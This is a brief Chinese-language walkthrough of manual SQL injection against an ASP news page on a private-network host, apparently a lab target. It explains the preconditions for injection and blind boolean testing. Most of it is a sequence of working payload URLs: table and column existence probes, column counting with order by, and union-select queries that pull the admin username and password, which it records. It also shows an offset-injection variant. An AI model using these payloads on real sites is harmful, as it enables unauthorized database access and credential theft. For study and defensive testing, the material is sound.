思路:找到注入点-》猜数据库名-》猜表名-》猜列名-》用数据库函数猜用户名密码
sql注入的前提:
1、用户能够控制数据的输入。
2、原本要执行的代码,拼接了用户的输入。
方式:
1、盲注:很多时候,Web服务器关闭了错误回显时的注入攻击,构造简单的条件语句如and 1=1和1=2根据返回页面是否发生变化,来判断SQL语句是否得到执行。
2、数据手工注入:
http://192.168.100.2:104/onews.asp?id=2
get 提交方式
数字型的注入漏洞 用 http://192.168.100.2:104/onews.asp?id=2 and 1=1和 http://192.168.100.2:104/onews.asp?id=2 and 1=2判断是否存在注入漏洞
http://192.168.100.2:104/onews.asp?id=2 and exists(select admin from admin) 判断表名admin是否存在。
http://192.168.100.2:104/onews.asp?id=2 and exists(select admin from admin) 判断列名admin是否存在。
http://192.168.100.2:104/onews.asp?id=2 and exists(select password from admin) 判断列名password是否存在。
别外,列名,可以从后台的html中看到。
http://192.168.100.2:104/onews.asp?id=2 order by 11 判断有几列。
http://192.168.100.2:104/onews.asp?id=2 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin 确定是否有11列。
http://192.168.100.2:104/onews.asp?id=2 and 1=2 union select 1,admin,password,4,5,6,7,8,9,10,11 from admin 得出用户名密码
owen pyhr
用户表部分应该是 id admin password
也可以偏移注入 http://192.168.100.2:104/onews.asp?id=2 and 1=2 union select 1,admin,password,4,5,6,7,* from admin 得出用户名密码
发布者:1 发布时间:owen 阅读:pyhr次